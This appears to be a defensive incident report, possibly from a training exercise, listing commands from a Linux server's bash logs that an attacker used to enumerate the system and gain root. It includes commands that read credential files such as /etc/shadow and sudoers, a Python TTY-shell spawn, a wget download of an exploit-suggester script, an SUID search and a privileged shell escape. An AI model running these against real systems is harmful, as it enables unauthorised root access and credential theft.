**Incident Report:** CH-15148-Defensive-Linux-Server-Logs

**Date:** 10-29-2022

**Executive Summary:**

A review of the Linux server bash logs revealed an attacker was able to exploit the security features of this system using enumeration techniques, ultimately achieving privilege elevation.

**Summary of Findings:**

The following enumeration techniques (and command line examples from the reviewed logs) were employed by the attacker in order to gain system root privileges and bypass configured security measures:

* System Information:
  + Available directories and system configuration details:
    - pwd
    - ls -ahlR /root/
    - ls -ahlR /home/
    - cat ~/.bashrc
  + Programs and packages currently installed:
    - find / -name perl\*
    - find / -name python\*
    - dpkg -l
  + Network configuration settings, such as:
    - IP addresses and configurations:
      * ifconfig -a
      * cat /etc/network/interfaces
      * cat /etc/sysconfig/network
    - Networking details:
      * cat /etc/resolv.conf
      * iptables -L
      * lsof -i
* Account Permissions and Privileges:
  + General user information:
    - id
    - whoami
    - last
    - cat /etc/passwd
    - cat ~/.bashrc
    - cat ~/.profile
  + Privileged access:
    - ls -la
    - su root
    - find / -name gcc\*
    - find / -name cc
    - cat /etc/sudoers
    - sudo -l
    - cat ~/.ssh/authorized\_keys
    - cat /etc/shadow
    - ls -alh /usr/bin/
    - ls -aRl /etc/| awk '$1 ~ /^.\*r.\*/'
    - ls -aRl /etc/ | awk '$1 ~ /^.\*w.\*/' 2>/dev/null
* Services, Jobs, and Tasks:
  + What services or jobs are currently running/scheduled to be run:
    - crontab -l
    - ps -aux
    - ps -ef | grep root

Through the aforementioned CLI commands, the attacker was able to escalate his/her permissions within the Linux system, ultimately spawning a TTY shell and gaining root access:

* TTY shell spawned:
  + Specific commands used:
    - python -c 'import pty; pty.spawn("/bin/sh")'
    - echo os.system('/bin/bash')
* Installing exploit suggester:
  + wget https://raw.githubusercontent.com/mzet-/linux-exploit-suggester/master/linux-exploit-suggester.sh -O les.sh
* Created executable/writable bash scripts:
  + find / -type f -user root -perm -4000 2>/dev/null
  + ./usr/bin/python -c 'import os; os.execl("/bin/sh", "sh", "-p")'